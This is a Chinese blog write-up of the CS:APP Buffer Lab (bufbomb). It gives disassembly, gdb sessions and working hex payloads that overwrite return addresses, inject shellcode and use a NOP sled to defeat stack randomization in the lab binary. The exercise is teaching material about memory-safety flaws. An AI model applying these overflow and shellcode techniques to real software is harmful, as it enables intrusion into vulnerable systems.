# [CSAPP]Bufbomb实验报告

原创

yccy1230 于 2016-04-14 19:46:16 发布 15414 收藏 35


Bufbomb实验报告

实验分析:

level 0-3从test开始制执行,通过函数getbuf向外界读取一串内容(buf).

Level 4 是通过参数-n,程序执行testn函数,调用getbufn函数向外界读取一串内容(bufn).

实验要求我们通过getbuf读取内容时不检查边界的这一特性,输入过多的内容把栈里面的东西修改掉,使得程序发生预定的错误.

实验给了我们三个材料:
①是bufbomb也就是炸弹的主程序;
②是hex2raw,用来对bufbomb进行输入,从ppt里我们可以知道,通过
./hex2raw < filename | ./bufbomb -u username
来达到对炸弹输入数据的过程;
③是makecookie,用来生成一个你的username cookie.
这里我的cookie是:0x57fa817c

通过反汇编指令对bufbomb进行反汇编,会得到反汇编代码.

首先我们可以看到ppt中告知是test函数中开始作用,调用了getbuf函数读取数据,所以我们先从getbuf函数下手:

Getbuf汇编代码:

```
080491f4 <getbuf>:
 80491f4:       55                      push   %ebp
 80491f5:       89 e5                   mov    %esp,%ebp
 80491f7:       83 ec 38                sub    $0x38,%esp
 80491fa:       8d 45 d8                lea    -0x28(%ebp),%eax
 80491fd:       89 04 24                mov    %eax,(%esp)
 8049200:       e8 f5 fa ff ff          call   8048cfa <Gets>
 8049205:       b8 01 00 00 00          mov    $0x1,%eax
 804920a:       c9              leave
 804920b:       c3              ret
```

栈的情况大致如下:

| (高地址) |
| --- |
| Getbuf返回地址 |

| |
|---|
| 存放ebp |
| (存放buf内容) |
| (共40字节) |
| buf(ebp-0x28) |
| ... |
| esp |
| (低地址) |

## Level 0:

实验要求:

修改getbuf()的返回地址，在执行完getbuf()后不是返回到原来的调用者test()，而是跳到一个叫做smoke()的函数里。

Somke函数汇编代码:

```
08048c18 <smoke>:
 8048c18:       55                      push   %ebp
 8048c19:       89 e5                   mov    %esp,%ebp
 8048c1b:       83 ec 18                sub    $0x18,%esp
 8048c1e:       c7 04 24 d3 a4 04 08            movl   $0x804a4d3,(%esp)
 8048c25:       e8 96 fc ff ff          call   80488c0 <puts@plt>
 8048c2a:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)
 8048c31:       e8 45 07 00 00          call   804937b <validate>
 8048c36:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)
 8048c3d:       e8 be fc ff ff          call   8048900 <exit@plt>
```

显然,实验要求我们修改getbuf返回地址,将其修改为smoke函数的地址,就可以达到实验的目的了.反汇编程序,得到了smoke函数的首地址:08048c18,所以根据我们栈的结构,我们应建立文件输入48字节的16进制数(前40字节为buf数组的内容,可以为任意数,除了0a,也就是'\n',会引起getbuf函数读取结束;后四字节为栈中ebp的值,因为我们只要将getbuf函数的返回地址修改就可以了,所以这四字节也可以为任意数,除了0a;最后四字节就是getbuf的返回地址啦,由于是小端机器,所以我们应该倒着输:18 8c 04 08)

那么我们就可以得到

```
00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 18 8c 04 08
```

我编辑了一个名为test的文档,写入这些数字,通过hex2raw对bufbomb进行输入.

指令: ./hex2raw < filename | ./bufbomb -uusername

```
root@ubuntu:~/Desktop/buflab-handout# ./makecookie chenyu
0x57fa817c
root@ubuntu:~/Desktop/buflab-handout# ./hex2raw < test | ./bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```



当当当,这样我们就能得到实验结果解决了第一个实验啦!

## Level 1:

实验要求:

与实验1大同小异，都是让getbuf()的调用者test()执行一个代码里未调用的函数，实验2中是fizz()函数。并且传入我们的cookie作为参数，让fizz()打印出来

Fizz函数汇编代码:

```
08048c42 <fizz>:
 8048c42:       55                      push   %ebp
 8048c43:       89 e5                   mov    %esp,%ebp
 8048c45:       83 ec 18                sub    $0x18,%esp
 8048c48:       8b 45 08                mov    0x8(%ebp),%eax//cookie
 8048c4b:       3b 05 08 d1 04 08       cmp    0x804d108,%eax
 8048c51:       75 26                   jne    8048c79 <fizz+0x37>
 8048c53:       89 44 24 08             mov    %eax,0x8(%esp)
 8048c57:       c7 44 24 04 ee a4 04            movl   $0x804a4ee,0x4(%esp)
 8048c5e:       08
 8048c5f:       c7 04 24 01 00 00 00            movl   $0x1,(%esp)
 8048c66:       e8 55 fd ff ff          call   80489c0 <__printf_chk@plt>
 8048c6b:       c7 04 24 01 00 00 00            movl   $0x1,(%esp)
 8048c72:       e8 04 07 00 00          call   804937b <validate>
 8048c77:       eb 18                   jmp    8048c91 <fizz+0x4f>
 8048c79:       89 44 24 08             mov    %eax,0x8(%esp)
 8048c7d:       c7 44 24 04 40 a3 04            movl   $0x804a340,0x4(%esp)
 8048c84:       08
 8048c85:       c7 04 24 01 00 00 00            movl   $0x1,(%esp)
 8048c8c:       e8 2f fd ff ff          call   80489c0 <__printf_chk@plt>
 8048c91:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)
 8048c98:       e8 63 fc ff ff          call   8048900 <exit@plt>
```

我们先来看看这种情况下的栈帧情况:


从fizz函数的汇编代码里,我们可以看出:cookie存放的位置应该是(ebp-0x8),以及fizz函数的首地址为:08048c42;通过栈帧图,可以清楚的看出,我们要做的就是①修改参数1的值为你的cookie,②把getbuf返回地址修改为fizz函数首地址,达到函数跳转的目的.

那么,同第一题,先对文件写入40字节的数组内容;然后写入4字节ebp(任意,不影响结果);在写入getbuf返回地址,显然返回地址应该写入fizz函数的首地址:42 8c 04 08;然后写入fizz的返回地址(因为只要求我们调用fizz函数即可,所以fizz的返回地址为任意);最后四个字节就是我们的cookie啦.我的cookie应该输入:7c 81 fa 57.

综合以上,就可以得到一串code,我的code是这样的:

```
00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 42 8c 04 08 00 01 02 03 7c 81 fa 57
```

哈,我们执行一下指令:

```
root@ubuntu:~/Desktop/buflab-handout# ./hex2raw < test | ./bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:Fizz!: You called fizz(0x57fa817c)
VALID
NICE JOB!
```

Ok啦!

## Level 2:

嗯,这个实验就得用到一些东西了.先上实验要求.

> 实验要求:
> 让getbuf()返回到bang()而非test()，并且在执行bang()之前将global_value的值修改为cookie。

Bang函数汇编代码:

```
08048c9d <bang>:
 8048c9d:       55                          push   %ebp
 8048c9e:       89 e5                       mov    %esp,%ebp
 8048ca0:       83 ec 18                    sub    $0x18,%esp
 8048ca3:       a1 00 d1 04 08              mov    0x804d100,%eax//globle value
 8048ca8:       3b 05 08 d1 04 08           cmp    0x804d108,%eax//cookie
 8048cae:        75 26                      jne    8048cd6 <bang+0x39>
 8048cb0:       89 44 24 08                 mov    %eax,0x8(%esp)
 8048cb4:       c7 44 24 04 60 a3 04            movl   $0x804a360,0x4(%esp)
 8048cbb:       08
 8048cbc:       c7 04 24 01 00 00 00            movl   $0x1,(%esp)
 8048cc3:       e8 f8 fc ff ff              call   80489c0 <__printf_chk@plt>
 8048cc8:       c7 04 24 02 00 00 00            movl   $0x2,(%esp)
 8048ccf:       e8 a7 06 00 00              call   804937b <validate>
 8048cd4:       eb 18                       jmp    8048cee <bang+0x51>
 8048cd6:       89 44 24 08                 mov    %eax,0x8(%esp)
 8048cda:       c7 44 24 04 0c a5 04            movl   $0x804a50c,0x4(%esp)
 8048ce1:        08
 8048ce2:       c7 04 24 01 00 00 00            movl   $0x1,(%esp)
 8048ce9:       e8 d2 fc ff ff              call   80489c0 <__printf_chk@plt>
 8048cee:       c7 04 24 00 00 00 00            movl   $0x0,(%esp)
 8048cf5:      e8 06 fc ff ff              call   8048900 <exit@plt>
```

嗯,我们先来看一下bang 函数的代码,我们可以看出0x804d100是globlevalue, 0x804d108存放的是cookie.我们要做的就是将0x804d100内存的值修改为我们的cookie值,额,这要怎么修改呢?我们的杀手锏要登场啦,编译与反汇编;看了这么多的汇编代码,一定对汇编代码前面的一串机器码不是很理解,这个时候我们就可以利用汇编代码编译,然后再反汇编出机器码,我们通过对应位置输入机器码达到执行操作的目的,其实和函数调用很像.首先,我们看一下我们应该写的汇编代码:

```
movl $0x57fa817c,%eax        //把cookie值存入eax
movl $0x804d100,%ecx         //把global_value地址存入ecx
movl %eax,(%ecx)             //修改global_value的值为cookie
ret                          //返回
```

我把它存为test.s文件.

恩,接下来就是我们的指令啦

```
gcc -m32 -c test.s                //test.s是我们写的汇编代码,对它进行编译
objdump -d test.o                 //执行反汇编获取机器码
```

这样,我们就可以得到汇编代码对应的机器码惹.

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ gcc -m32 -c test.s
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ objdump -d test.o

test.o：     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 7c 81 fa 57          mov    $0x57fa817c,%eax
   5:   b9 00 d1 04 08          mov    $0x804d100,%ecx
   a:   89 01                   mov    %eax,(%ecx)
   c:   c3                      ret
```



我们接下来在看看我们的栈帧的情况:




恩,这里有个我们需要注意的地方,按照我们前两题的思路,我们肯定会想,输入40+4+机器码+bang首地址,可是如果我们直接这么输入的话会覆盖掉栈上面的其他内容,可能会造成不可预知的错误,所以我们应该在getbuf返回地址改为buf首地址,我们就可以在前40字节输入机器码,当程序运行到ret时,就会跳转到getbuf返回地址上面4字节位置,也就是(bang函数首地址的位置);所以我们应该输入的数据是13位机器码+27剩余数组+4覆盖ebp+4getbuf返回到buf首地址+4bang函数首地址.

还有一个问题是,buf的首地址是多少呢?我们只知道buf首地址是在(ebp-0x28)的地方,可这只是相对地址,所以,我们利用gdb对bufbomb进行调试获取地址:

```
//输入以下指令前,请将目录引导至bufbomb所在文件夹下
gdb bufbomb                 //进入动态调试
break getbuf                //设置断点
run -u username             //以username启动程序
p/x ($ebp-0x28)             //输出($ebp-0x28)所在的地址
```

运行截图:

```
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u chenyu
Starting program: /home/cy/桌面/bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) p/x ($ebp-0x28)
$1 = 0x55683468
```



酱紫我们就拿到了buf的首地址:0x55683468

那么我们就新建文件test,输入下面内容:

```
b8 7c 81 fa 57 b9 00 d1 04 08 89 01 c3 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 68 34 68 55 9d 8c 04 08
```

调用指令,运行程序:

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ ./hex2raw < test | ./bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:Bang!: You set global_value to 0x57fa817c
VALID
NICE JOB!
```



Yep,搞定!

## Level 3:

实验要求:

将getbuf()的返回值修改为我们的cookie，并返回到调用者test()中。

test函数汇编代码:

```
08048daa <test>:
 8048daa:	55                   	push   %ebp
 8048dab:	89 e5                	mov    %esp,%ebp
 8048dad:	53                   	push   %ebx
 8048dae:	83 ec 24             	sub    $0x24,%esp
 8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>
 8048dbe:	89 c3                	mov    %eax,%ebx
 8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>
 8048dc5:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048dc8:	39 d0                	cmp    %edx,%eax
 8048dca:	74 0e                	je     8048dda <test+0x30>
 8048dcc:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048dd3:	e8 e8 fa ff ff       	call   80488c0 <puts@plt>
 8048dd8:	eb 46                	jmp    8048e20 <test+0x76>
 8048dda:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048de0:	75 26                	jne    8048e08 <test+0x5e>
 8048de2:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048de6:	c7 44 24 04 2a a5 04 	movl   $0x804a52a,0x4(%esp)
 8048ded:	08
 8048dee:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df5:	e8 c6 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048dfa:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8048e01:	e8 75 05 00 00       	call   804937b <validate>
 8048e06:	eb 18                	jmp    8048e20 <test+0x76>
 8048e08:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e0c:	c7 44 24 04 47 a5 04 	movl   $0x804a547,0x4(%esp)
 8048e13:	08
 8048e14:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1b:	e8 a0 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e20:	83 c4 24             	add    $0x24,%esp
 8048e23:	5b                   	pop    %ebx
 8048e24:	5d                   	pop    %ebp
 8048e25:	c3                   	ret
```

恩,我们先来过一下过程,程序先调用test函数,然后在test函数中调用getbuf后返回test函数(0x8048dbe的位置),同时修改getbuf返回值为cookie.Ok,我们首先应该获得将getbuf返回值修改为cookie和返回test两个操作的机器码,同样,通过编译和反汇编:

先看一下汇编代码吧:

```
movl  $0x57fa817c,%eax       //将cookie赋给返回的寄存器eax
pushl  $0x8048dbe              //返回地址压栈
ret                            //返回test函数
```

嗯,运行前面我们的编译和反汇编指令,我们就拿到了机器码:

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ gcc -m32 -c test.s
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ objdump -d test.o

test.o：     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 7c 81 fa 57          mov    $0x57fa817c,%eax
   5:   68 be 8d 04 08          push   $0x8048dbe
   a:   c3                      ret
```



接下来,还有一个问题需要解决,我们调整getbuf返回地址的时候是通过覆盖前面的内容实现的,所以我们现在需要把ebx的值取出来,还原回去.同样,通过gdb设置断点:

```
//输入以下指令前,请将目录引导至bufbomb所在文件夹下
gdb bufbomb                 //进入动态调试
break getbuf                //设置断点
run -u username             //以username启动程序
p/x $ebp                    //输出ebp存储的地址内容
```

运行截图:

```
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u chenyu
Starting program: /home/cy/桌面/bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) print /x *(int*)($ebp)
$1 = 0x556834c0
```



这样,我们就拿到了%ebp存储的0x55683490.

好的,最后,我们再看一下,我们的数据该怎么写呢?

```
11位机器码+29位数组内容(任意)+4位ebp内容+4返回buf首地址
```

那么我们就向文件里输入输入下面内容:

```
b8 7c 81 fa 57 68 be 8d 04 08 c3 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 c0 34 68 55 68 34 68 55
```

调用指令,运行程序:

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ ./hex2raw < test | ./bufbomb -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:Boom!: getbuf returned 0x57fa817c
VALID
NICE JOB!
```



一颗腮挺,pass啦~~~

## Level 4:

Keke,大boss来惹!

实验要求:

用bufbomb的-n参数进入Level 4模式，此时程序不会调用getbuf()而是其升级版getbufn()。getbufn()的调用者会使用alloca库函数随机分配栈空间，然后连续调用getbufn()五次。我们的任务是保证getbufn()每次都返回我们的cookie而不是1。

先来梳理一下我们需要做些什么吧.首先,要求里明确告诉了我们会调用5次testn函数,也就同时会调用5次getbufn函数.这个调皮的炸弹创始人又用了什么alloca库函数随机分配栈空间,虽然看不懂这个什么函数,but意思大致是清楚地,也就是5次输入中,每次栈的地址都是不一样的.酱紫我们就不能直接设断点直接去查getbuf的地址了(每次都要变).不过还好,有一个东西是不变的,那就是5次调用testn+getbufn是在一 起的,也就是每次调用这一对函数的时候,栈是连续的.

那么我们看一下testn在调用getbufn之前的汇编代码:

Testn汇编代码:

```
08048e26 <testn>:
 8048e26:      55                      push   %ebp
 8048e27:      89 e5                   mov    %esp,%ebp
 8048e29:      53                      push   %ebx
 8048e2a:      83 ec 24                sub    $0x24,%esp
 8048e2d:      e8 5e ff ff ff          call   8048d90 <uniqueval>
 8048e32:      89 45 f4                mov    %eax,-0xc(%ebp)
 8048e35:      e8 d2 03 00 00          call   804920c <getbufn>
 8048e3a:      89 c3                   mov    %eax,%ebx
   ...
```

很清楚,我们可以再通过设置断点查看ebp和esp内存:

```
(gdb) break *0x08048e35
Breakpoint 1 at 0x8048e35
(gdb) run -n -u chenyu
Starting program: /home/cy/桌面/bufbomb -n -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
                          http://blog.csdn.net/
Breakpoint 1, 0x08048e35 in testn ()
(gdb) p/x $ebp
$1 = 0x556834c0
(gdb) p/x $esp
$2 = 0x55683498
```

显然我们可以得到%ebp=%esp+0x28,而%esp在getbufn结束后并没有改变.所以,我们恢复被我们覆盖掉的ebp时,就可以通过movl 0x28(%esp),%ebp执行啦!恩,我们还要把getbufn的返回值从1修改为我们的cookie,最后跳转到testn执行完getbufn的后一句.那么我们就可以写出下面的汇编代码惹.

```
movl    $0x57fa817c,%eax          //将cookie赋给eax作为getbuf返回值
lea     0x28(%esp),%ebp           //将ebp寄存器的内容恢复(原来被我们覆盖)
pushl   $08048e3a                 //返回testn中getbufn调用后的下一条语句
ret
```

编译,反汇编,就拿到了机器码.

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ gcc -m32 -c test.s
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ objdump -d test.o

test.o：     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 7c 81 fa 57          mov    $0x57fa817c,%eax
   5:   8d 6c 24 28             lea    0x28(%esp),%ebp
   9:   68 3a 8e 04 08          push   $0x8048e3a
   e:   c3                      ret
```



解决了操作的机器码,我们还需要解决一个问题. 因为我们要覆盖掉原来的数据,我把这个函数的栈帧情况画一下:

| |
|---|
| (高地址) |
| Getbufn返回地址 |
| 存放ebp |
| (存放bufn内容) |
| (共520字节) |
| buf(ebp-0x208) |
| ... |
| esp |
| (低地址) |

这个getbufn函数已经和前面的不一样了,看一下getbufn的汇编代码吧:

Getbufn汇编代码:

```
0804920c <getbufn>:
 804920c:       55                      push   %ebp
 804920d:       89 e5                   mov    %esp,%ebp
 804920f:       81 ec 18 02 00 00       sub    $0x218,%esp
 8049215:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 804921b:       89 04 24                mov    %eax,(%esp)
 804921e:       e8 d7 fa ff ff          call   8048cfa <Gets>
 8049223:       b8 01 00 00 00          mov    $0x1,%eax
 8049228:       c9                      leave
 8049229:       c3                      ret
 804922a:       90                      nop
 804922b:       90                      nop
```

看红色的辣一行,帧指针申请了0x208的空间存放bufn,也就是520啦.所以数组长度为520字节.然后是4字节覆盖ebp内容,然后是4位getbufn返回地址(我们应该调整为buf的首地址呢,这样就可以执行我们上面反汇编出来的机器码了).最后我们要解决的问题就是怎么才能拿到buf的首地址呢?每次的地址都不同呐.

这个时候,就应该拿出我们的gdb调试器了,可以设置断点来获取buf的首地址(%ebp-0x208)

当然我们会的到5个值:

```
(gdb) break getbufn
Breakpoint 1 at 0x8049215
(gdb) run -n -u chenyu
Starting program: /home/cy/桌面/bufbomb -n -u chenyu
Userid: chenyu
Cookie: 0x57fa817c

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) print/x ($ebp-0x208)
$1 = 0x55683288
(gdb) continue
Continuing.
Type string:2333
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) print/x ($ebp-0x208)
$2 = 0x556832e8
(gdb) continue
Continuing.
Type string:2333
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) print/x ($ebp-0x208)
$3 = 0x55683298
(gdb) continue
Continuing.
Type string:2333
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) print/x ($ebp-0x208)
$4 = 0x556832a8
(gdb) continue
Continuing.
Type string:2333
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049215 in getbufn ()
(gdb) print/x ($ebp-0x208)
$5 = 0x55683278
(gdb) continue
Continuing.
Type string:2333
Dud: getbufn returned 0x1     http://blog.csdn.net/
```

这时候就有一个问题了,我们到底应该取哪个buf地址呢?这个时候伟岸的度娘粗线了,我来把这个方法用自己的话总结一下吧.这个方法叫做nop sleds技术,听起来很高大上吧.开始解释之前,我们先了解一个知识点,函数在运行的过程中是从低地址到高地址执行的,由于buf地址有高有低,我们取最高的buf地址做测试(取最大的理由就是防止下面提到的nop指令不够),也就是0x556832e8

如果按照我们最理想的方案,我们是在输入数据的时候,如果把我们的汇编操作机器码放在最前面,也就是buf首地址的位置,最后getbufn函数跳转到buf的首地址执行机器码,读到ret返回,结束.

But现在我们并没有确定的buf地址给你去跳转,那么该怎么办呢?这个时候,我们就要用到这个方法了,我们可以把这段机器码放到足够后面,然后前面呐用90(也就是nop指令)填充.这个nop指令呢对于计算机来说是一个空指令,也就是计算机什么都不会做(除了程序计数器外,不过对我们没有任何影响),那么程序是不是就一直滑呀滑,一直滑到我们的放在最后面的机器码上,执行操作,最后ret到testn函数啦!

所以,最后我们来总结一下我们的数据:

520字节数组内容+4字节ebp+4字节getbufn返回地址

因为我们有b8 7c 81 fa 57 8d 6c 24 28 68 3a8e 04 08 c3(15字节)的机器码要放在后面,前面用90(nop)填充,随后加上4字节getbufn函数返回地址(估计的buf首地址)

所以,最后应该是:

509个90(nop)+15字节机器码+4位估计的buf首地址(e8 3268 55)

```
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 55
```

恩,我们运行一下结果看看怎么样,不过这次运行的指令要注意稍稍有点变化,因为我们要带参数-n

```
./hex2raw < filename | ./bufbomb -n -u username
```

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ ./hex2raw < test | ./bufbomb -n -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:KABOOM!: getbufn returned 0x57fa817c
Keep going
Type string:Dud: getbufn returned 0x1
Type string:Dud: getbufn returned 0x1
Type string:Dud: getbufn returned 0x1
Type string:Dud: getbufn returned 0x1
```



Mdzz,这程序不按套路出牌啊,怎么能第一次调用通过后面就过不了了???

不能慌,场子得镇住.咳咳,别着急,我们再试试这一招:

```
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 550a
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 550a
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 550a
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 550a
90 (509个) b8 7c 81 fa 57 8d 6c 24 28 68 3a 8e 04 08 c3e8 32 68 550a
```

把代码复制5遍,然后再每两个之间加上个0a隔开试试:

```
cy@cy-500R5K-501R5K-500R5Q:~/桌面$ ./hex2raw < test | ./bufbomb -n -u chenyu
Userid: chenyu
Cookie: 0x57fa817c
Type string:KABOOM!: getbufn returned 0x57fa817c
Keep going
Type string:KABOOM!: getbufn returned 0x57fa817c
Keep going
Type string:KABOOM!: getbufn returned 0x57fa817c
Keep going
Type string:KABOOM!: getbufn returned 0x57fa817c
Keep going
Type string:KABOOM!: getbufn returned 0x57fa817c
VALID
NICE JOB!
```



Yep,成功了!

结束啦,撒花~

----------华丽丽的分割线----------

对于最后一题的问题,我认为应该是我使用的输入指令有问题,读取的文件尾似乎就不能再读了,所以复制5遍中间用0a,也就是\n,让程序每次读取一份,这样就顺利解决了!

2016.4.11晚